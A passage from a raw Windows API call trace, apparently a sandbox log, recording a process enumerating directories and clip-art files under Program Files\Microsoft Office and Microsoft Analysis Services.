ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0197.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0197.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0197.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0197.113] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0197.113] GetProcessHeap () returned 0x550000 [0197.113] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0197.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0197.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0197.114] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0197.114] GetProcessHeap () returned 0x550000 [0197.114] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0197.114] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0197.114] GetProcessHeap () returned 0x550000 [0197.114] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0197.114] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0197.114] GetProcessHeap () returned 0x550000 [0197.114] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0197.116] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0197.116] GetProcessHeap () returned 0x550000 [0197.116] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0197.117] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0197.117] GetProcessHeap () returned 0x550000 [0197.117] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26360e0 | out: hHeap=0x550000) returned 1 [0197.117] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdbf37e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf37e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0197.117] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0197.118] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0197.119] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0197.119] GetProcessHeap () returned 0x550000 [0197.119] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0197.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0197.120] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0197.121] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0197.122] GetProcessHeap () returned 0x550000 [0197.122] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0197.122] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0197.122] GetProcessHeap () returned 0x550000 [0197.122] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0197.123] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0197.124] GetProcessHeap () returned 0x550000 [0197.124] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0197.124] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0197.124] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0197.125] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0197.126] GetProcessHeap () returned 0x550000 [0197.126] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0197.126] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0197.127] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0197.128] GetProcessHeap () returned 0x550000 [0197.128] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0197.128] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0197.129] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0197.130] GetProcessHeap () returned 0x550000 [0197.130] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0197.130] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0197.130] GetProcessHeap () returned 0x550000 [0197.130] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0197.135] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0197.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0197.137] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0197.137] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0197.138] GetProcessHeap () returned 0x550000 [0197.138] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0197.138] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0197.138] GetProcessHeap () returned 0x550000 [0197.138] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0197.140] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0197.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0197.141] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0197.141] GetProcessHeap () returned 0x550000 [0197.141] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0197.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0197.142] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0197.144] GetProcessHeap () returned 0x550000 [0197.144] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0197.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0197.145] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0197.146] GetProcessHeap () returned 0x550000 [0197.443] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0197.443] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES", cAlternateFileName="")) returned 1 [0197.443] GetProcessHeap () returned 0x550000 [0197.443] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26010a0 [0197.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0197.444] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.445] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0e4a00, ftCreationTime.dwHighDateTime=0x1bd5ead, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9b0e4a00, ftLastWriteTime.dwHighDateTime=0x1bd5ead, nFileSizeHigh=0x0, nFileSizeLow=0x3d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10219_.GIF", cAlternateFileName="")) returned 1 [0197.445] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x97e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10256_.GIF", cAlternateFileName="")) returned 1 [0197.445] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10289_.GIF", cAlternateFileName="")) returned 1 [0197.445] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10290_.GIF", cAlternateFileName="")) returned 1 [0197.445] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f8f500, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73f8f500, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x497, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10307_.GIF", cAlternateFileName="")) returned 1 [0197.445] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a2200, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x752a2200, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10308_.GIF", cAlternateFileName="")) returned 1 [0197.445] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a6c900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68a6c900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10358_.GIF", cAlternateFileName="")) returned 1 [0197.445] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14516_.GIF", cAlternateFileName="")) returned 1 [0197.445] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x617, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14538_.GIF", cAlternateFileName="")) returned 1 [0197.445] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14539_.GIF", cAlternateFileName="")) returned 1 [0197.445] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14594_.GIF", cAlternateFileName="")) returned 1 [0197.446] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14595_.GIF", cAlternateFileName="")) returned 1 [0197.446] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2ea600, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe2ea600, 